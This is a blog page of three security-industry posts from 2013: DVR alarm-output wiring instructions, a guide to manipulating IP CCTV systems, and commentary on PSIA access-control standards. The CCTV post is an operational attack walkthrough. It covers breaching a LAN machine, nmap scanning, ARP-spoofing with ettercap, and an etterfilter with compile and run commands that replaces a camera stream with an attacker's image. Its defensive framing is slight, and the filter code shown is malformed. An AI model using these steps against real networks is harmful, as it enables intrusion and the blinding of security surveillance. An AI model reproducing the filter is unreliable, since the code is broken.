Wednesday, July 31, 2013

DVR Alarm Output Application

Maximum Time I wrote for Sales/ Marketing / Commercial professional, but this post dedicated to Technical services Technician / Engineers. Many engineers say's How to Connect DVR Alarm output with Power Source/ whats the application etc etc.
The alarm output ports on the back of the DVR are each labeled with NO C NC. The NO stands for normally opened, NC means normally closed, and C means common contact. When the alarm is in the non-triggered state, it is normally closed which means that the circuit is allowing current to flow from C to NC. When the alarm is triggered, the relay is enabled and switched from the normally closed (NC) to normally opened (NO) position.

The security application used in these instructions uses a 12v DC powered strobe light. The goal is to turn the strobe light on when an alarm is triggered. For this application, we will use a door contact connected to the alarm input of the DVR to trigger the output. 

Please note that the DC transformer used to power the strobe light / siren is only used to power the siren and has nothing to do with the power supply of the DVR. The concept is that the strobe light sits dormant / un-powered (relay in the NC position) until the alarm goes off. When the alarm goes off, the relay is enabled and allows power to flow to the strobe light (via switching the power of the circuit to the NO position), which turns it on.

WARNING: DVR alarm outputs / relays have a maximum power rating. The alarm outputs of DVRs have a maximum power rating of 2A 120VAC, 2A 24VDC. This rating should accommodate almost all standard burglar alarm equipment, but you should check the specification of each device to be sure. 

If you are using these setup instructions to guide you on integrating alarm devices on other types of surveillance DVRs is strongly recommended that you consult the manual of your DVR to understand the maximum power that your DVR alarm outputs can use. Using an alarm device that draws more power than the relays of your DVR are rated at will cause damage to the relay terminals and / or can ruin the entire DVR.

DVR Alarm Output Wiring

The siren in this example uses a 12v DC power supply. These typically have a single 3.5mm plug on the end of the cable. If your DC transformer has a single plug (instead of separate positive and negative wires), you can use a PT-4 pigtail power lead to convert the plug to separate positive and negative wires.
  1. Connect the positive wire from the power supply to the NO terminal of the alarm-out port.
  2. Connect the negative wire from the power supply to the negative cable of your output device (in this case a strobe light).
  3.  Connect the positive wire from the strobe light to the C terminal of the alarm-out port.


DVR Alarm Output Configuration

In this example, we will use the input from a door sensor to trigger the alarm output (with strobe light connected to it). Please read these setup instructions for details about how the alarm input was configured for the door sensor.
Follows these instructions to configure the door sensor to trigger the alarm output.
1. Access the advanced setup of the DVR the clicking on the Home button, then select Setup > Advanced.

2. On the Advanced menu, click on the the Event tab, then click on the Sensor button.
3. On the sensor screen, you can can choose the action(s) that you want taken. To setup the strobe light on alarm output one to be triggered, click on the gear icon in the alarm section of the sensor action settings. This will open a sub-window that will let you choose to enable all alarm outputs or select the specific ones that you want triggered.
4. Click OK, then OK again to save the settings.
The alarm output of your DVR is now setup. When the door contact is opened, the strobe light will turn on.

Friday, July 26, 2013

Manipulating IP based CCTV Systems

Manipulating IP based CCTV Systems.
As you are probably aware, CCTV networks provide security to businesses around the world. However due to unsecure networks and poorly designed networks, network security cameras can be abused and there video streams redirected or modified. I am going to explain how this can be done, so you can check your network.

1. Connect to the network using wireless or penetrate a machine on lan.
2. Upload nmap and ettercap onto your machine or the machine on lan that you penetrated.
3. Scan the internal network using nmap and look for open ports in this example we will look for cameras.
4. once you find a camera run ettercap and scan the machines and perform mitm.
5. Watch the traffic and look for the ip of the cameras by sniffing the traffic coming through your machine.
6. Look at the tcp.dst and tcp.src of the packets this will tell you the source and destnation packets.
7. Once you find a suitable camera and the client that is watching create an etterfilter, One is provided below

#Example etterfilter
if (ip.proto == TCP && tcp.dst == 80) {
if (search(, “Accept-Encoding”)) {
replace(“Accept-Encoding”, “Accept-Rubbish!”);
# note: replacement string is same length as original string
msg(“zapped Accept-Encoding!\n”);
if (ip.proto == TCP && tcp.src == 80) {
replace(“img src=”CAMERA PICURE URL HERE”, “img src=”YOUR IMAGE HERE WITH URL HERE” “);
msg(“Filter Ran.\n”);

8. Save the file as a filter for example camera.filter
9. Compile that source using ‘etterfilter camera.filter -o camera.ef’
10. Now setup ettercap to use the filter each time the page is viewed across the network ‘ettercap -T -q -F camera.ef -M ARP // //’
11. Now in theory each time the camera is viewed by someone on the network they will see your camera image not the stream.

This attack has been used, and can be devastating to any business that depends on network cameras for security. Some businesses connect network cameras directly to the gateway router, if the gateway is penetrated then this places the cameras at risk.

Wireless networks also can provide attackers with a direct connection to your network once the encryption has been broken. Wireless networks with weak encryption and a lack of network monitoring can aid an attacker in becoming undetected on the network.

I recommend that you install either a hardware firewall that detects spoofing attacks inbetween the network cameras and router/switch, and use network encryption, this should provide a very difficult environment for an attacker.

Sunday, July 14, 2013

Access Control Standards Revolution Now In Progress

We wanted to share our perspective on access control standards adoption after reading a recent news release from IMS Research. This release indicated that “open standards for access control could bring a dramatic change for vendors and alter the face of the access control industry as it is known today.” We agree. Our perception, in fact, is that the industry is much further along toward embracing open access control standards than the release authors appreciate.

First, we see firm support among access control vendors for building open specifications from the PSIA into their product roadmaps. Leading access control companies, including Assa Abloy, HID, Honeywell, Kastle Systems, Stanley, Tyco/Proximex) ,UTC/Lenel and Verint sit on our board of directors and have participated with time, money and talent in our various working groups. They helped develop the PSIA’s Area Control Specification, which includes access control and intrusion detection. (The IEC, an international standards body, and the PSIA are in discussions about a global access control standard, in part because of the robust features of our Area Control Specification.)

All our members also understand standards do not prevent them from being innovative or addressing specific customer needs but rather make it easier for their systems to communicate unique data and intelligence to other systems and devices. Today’s most influential technology developments, including mobility, Big Data analytics, consumerism, the Internet of Things, all call for more interconnected devices and users. Security industry systems and tools must be ready to easily integrate with growing networks of sensors, apps, smart mobile devices and digital tools from other industries. Standards will help the industry accomplish this.

From an economics perspective, widespread use of the PSIA’s Area Control Specification will make it easier for users to get residual value from their closed, proprietary systems. Because all PSIA-compliant tools share the same common event vocabulary, only one “translation” is necessary to connect a closed system to a comprehensive set of security tools. Contrast that to writing (and maintaining) dozens of unique interfaces to link a closed system to modern tools.

Finally, at the spring IFSEC security show in Birmingham, UK, we spoke with many VMS manufacturers who told us they need to build richer access control functionality into their systems and want to investigate the PSIA’s Area Control specification. They underscored the message that integrators, consultants and end users want the ability to share intelligence across and beyond the security ecosystem, such as to building automation and enterprise systems.